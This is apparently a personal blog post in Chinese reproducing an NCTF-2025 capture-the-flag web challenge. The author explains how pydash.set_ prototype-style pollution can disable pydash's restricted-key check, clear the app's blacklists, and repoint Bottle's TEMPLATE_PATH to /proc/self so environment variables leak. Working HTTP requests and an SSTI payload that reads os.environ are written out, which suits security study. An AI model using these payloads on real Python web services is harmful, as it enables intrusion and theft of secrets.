NCTF-2025 web 复现

OneZ3r0 Lv3

前言

打不动,不过题目质量还是很好的,可以学到东西

ez_dash_revenge

pydash.set_的原型链污染问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
'''
Hints: Flag在环境变量中
'''
from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str): # 只能是字符串
return "no"
if len(name)>6 or len(path)>32: # 长度限制
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

看了好久,关键在于

1
2
3
4
5
6
7
obj=globals()[name]
pydash.set_(obj,path,value)

if not isinstance(path,str): # 只能是字符串
return "no"
if len(name)>6 or len(path)>32: # 长度限制
return "no"

利用pydash去污染一些东西,但是需要绕过限制
name不能超过6个字符,加上被禁用的bottle,显然我们能够加以利用的只有全局的pydashsetval
我们可以尝试一下,是可以通过setval来获取当前文件的全局对象的,而pydash获取到的是它模块自己的全局对象

1
2
3
print(setval.__globals__["bottle"])

# <module 'bottle' from 'D:\\IDE\\Python311\\Lib\\site-packages\\bottle.py'>
1
2
3
4
print(setval.__globals__["__forbidden_name__"])

# 这是可以执行的,当时给这个误导了,因为__globals__在这里是一个字典
# 而在pydash.set_中的path中是不支持字典按键访问的

我们可以跟进set_查看一下它是怎么使用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def set_(obj: T, path: PathT, value: t.Any) -> T:
"""
Sets the value of an object described by `path`. If any part of the object path doesn't exist,
it will be created.

Args:
obj: Object to modify.
path: Target path to set value to.
value: Value to set.

Returns:
Modified `obj`.

Warning:
`obj` is modified in place.

Example:

>>> set_({}, "a.b.c", 1)
{'a': {'b': {'c': 1}}}
>>> set_({}, "a.0.c", 1)
{'a': {'0': {'c': 1}}}
>>> set_([1, 2], "[2][0]", 1)
[1, 2, [1]]
>>> set_({}, "a.b[0].c", 1)
{'a': {'b': [{'c': 1}]}}

.. versionadded:: 2.2.0

.. versionchanged:: 3.3.0
Added :func:`set_` as main definition and :func:`deep_set` as alias.

.. versionchanged:: 4.0.0

- Modify `obj` in place.
- Support creating default path values as ``list`` or ``dict`` based on whether key or index
substrings are used.
- Remove alias ``deep_set``.
"""
return set_with(obj, path, value)

不过注意,这里的path是不支持a.dict[‘x’].c这样的键的!(踩坑了)
我们一路跟进去了解set_的逻辑是怎么实现的

1
set_->set_with->update_with->base_set
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
helpers.py

#: Object keys that are restricted from access via path access.
RESTRICTED_KEYS = ("__globals__", "__builtins__")
...

def _raise_if_restricted_key(key):
# Prevent access to restricted keys for security reasons.
if key in RESTRICTED_KEYS:
raise KeyError(f"access to restricted key {key!r} is not allowed")


def base_set(obj, key, value, allow_override=True):
"""
Set an object's `key` to `value`. If `obj` is a ``list`` and the `key` is the next available
index position, append to list; otherwise, pad the list of ``None`` and then append to the list.

Args:
obj: Object to assign value to.
key: Key or index to assign to.
value: Value to assign.
allow_override: Whether to allow overriding a previously set key.
"""
if isinstance(obj, dict):
if allow_override or key not in obj:
obj[key] = value
elif isinstance(obj, list):
key = int(key)

if key < len(obj):
if allow_override:
obj[key] = value
else:
if key > len(obj):
# Pad list object with None values up to the index key, so we can append the value
# into the key index.
obj[:] = (obj + [None] * key)[:key]
obj.append(value)
elif (allow_override or not hasattr(obj, key)) and obj is not None:
_raise_if_restricted_key(key)
setattr(obj, key, value)

return obj

我们发现这里的key也就是我们的path,是禁用了__globals__的!
因此如下代码是无法执行的

1
2
3
4
5
6
pydash.set_(setval, "__globals__.__forbidden_name__", '')

'''
raise KeyError(f"access to restricted key {key!r} is not allowed")
KeyError: "access to restricted key '__globals__' is not allowed"
'''

虽然说pydash内部禁用了__globals__,但是pydash.set_是我们完全在我们操控之下的
所以我们就可以通过pydash.set_,把pydash的RESTRICTED_KEYS给改了!这样我们就可以通过setval.__globals__去修改waf了

1
2
3
4
5
pydash.set_(pydash, "helpers.RESTRICTED_KEYS", '')
pydash.set_(setval, "__globals__.__forbidden_path__", '')
pydash.set_(setval, "__globals__.__forbidden_name__", '')
print(__forbidden_path__)
print(__forbidden_name__)

可见输出为空,接着我们就开始污染即可,同理把setval.__globals__.__forbidden_path__setval.__globals__.__forbidden_name__给改了,30个字符,不超过限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /setValue?name=pydash HTTP/1.1
Host: 39.106.16.204:39081
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 63

{
"path": "helpers.RESTRICTED_KEYS",
"value": ""
}

因为题目提示flag在环境变量中,而我们只能污染字面量,我们查看bottle模块代码

1
2
3
4
5
6
7
8
###############################################################################
# Constants and Globals ########################################################
###############################################################################

TEMPLATE_PATH = ['./', './views/']
TEMPLATES = {}
DEBUG = False
NORUN = False # If set, run() does nothing. Used by load_app()

发现TEMPLATE_PATH似乎是可以利用的点,让render的时候,可以显示我们想要的路径,于是我们把bottle.TEMPLATE_PATH改为/proc/self

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /setValue?name=bottle HTTP/1.1
Host: 39.106.16.204:39081
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 66

{
"path": "TEMPLATE_PATH",
"value": ["/proc/self/"]
}

最后访问,即可

1
http://.../render?path=environ

后记

原来出题对template基本没有ssti的过滤,稍微看看bottle的是怎么渲染的就可以直接打ssti了

1
% raise getattr(__import__('bottle'), 'HTTPResponse')(str(getattr(__import__('os'), 'environ')))
  • 标题: NCTF-2025 web 复现
  • 作者: OneZ3r0
  • 创建于 : 2025-03-25 15:00:24
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/03/25/nctf-2025-reproduction/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
NCTF-2025 web 复现